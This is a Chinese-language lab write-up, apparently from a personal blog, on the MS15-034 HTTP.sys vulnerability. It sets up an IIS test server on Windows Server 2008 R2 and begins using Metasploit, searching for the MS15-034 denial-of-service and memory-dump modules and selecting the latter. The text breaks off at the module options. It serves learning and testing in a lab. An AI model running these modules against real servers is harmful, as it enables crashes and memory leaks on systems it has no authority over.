ms15-034一个高危漏洞
根据微软官方公告来看,受影响的系统还是挺多的,那么本次就记录这个漏洞的学习过程吧
从官方的公告可以得知产生原因 远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中, 当 HTTP.sys未正确分析经特殊设计的 HTTP 请求时会导致 此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
也就说明通过特殊构造的poc就可以触发漏洞
使用windows server2008R2 搭建本次学习需要的环境
-
打开服务器管理器,添加角色
-
选择web服务器
-
这里可以看一下介绍是用来干嘛的,然后下一步
-
这里勾选http重定向,以及管理工具所有的选项,下一步
-
确认功能无误,开始安装
-
安装成功之后关闭,使用另一台win7虚拟机访问该服务器的地址
搭建完成后打开msf 检测一下漏洞是否存在,run的时候在后台打开wireshare抓包
> search ms15-034
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/ms15_034_ulonglongadd normal Yes MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service
1 auxiliary/scanner/http/ms15_034_http_sys_memory_dump normal Yes MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure
msf5 > use 1
msf5 auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > show options
Module options (auxiliary/scanner/http/ms15_034_http_sys_memory_dump):
Name Current Setting Required Description
---- --------------- -----